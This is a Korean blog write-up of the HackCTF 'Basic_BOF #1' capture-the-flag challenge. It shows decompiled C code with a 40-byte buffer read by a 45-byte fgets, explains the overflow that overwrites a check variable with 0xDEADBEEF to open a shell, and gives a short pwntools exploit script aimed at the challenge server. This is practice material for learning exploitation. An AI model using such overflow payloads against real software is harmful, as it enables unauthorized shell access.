728x90
사이트 : https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#1
요즘에 블로그를 잘 쓰질 않았는데 다시 한번 작성해 봅니다,,,
사용 프로그램 : ida7.5 pro, python 3.8.10, Ubuntu 20.04.3 LTS
CODE
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(s, 45, stdin);
printf("\n[buf]: %s\n", s);
printf("[check] %p\n", v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
위 사이트에서 문제를 다운받고 ida로 디컴파일 해봤을때 나오는 코드입니다.
system("/bin/dash"); 를 실행시키는 것이 목적이겠군요..
우리가 입력하는 곳은 s이고 이 s의 범위는 40입니다. 하지만 fgets로는 45까지 입력을 받네요. 여기서 BOF가 터집니다.
일단 v5가 0xDEABEEF면 되는것 같습니다. dummy[40] + 0xDEADBEEF 면 해결될 문제인것 같습니다.
소스코드
더보기
Exploit
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3000)
v5 = p32(0xDEADBEEF)
payload = b''
payload += b'A'*40 + v5
p.send(payload)
p.interactive()
[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)
728x90
'해킹 > 시스템해킹' 카테고리의 다른 글
[시스템해킹] HackCTF < Basic_BOF #1 > (0) | 2021.09.09 |
---|---|
[시스템해킹] GrabCON Pwn CTF? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON can you? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON easy_bin write up (0) | 2021.09.09 |
[시스템해킹] Buffer Overflow(BOF) (0) | 2021.09.09 |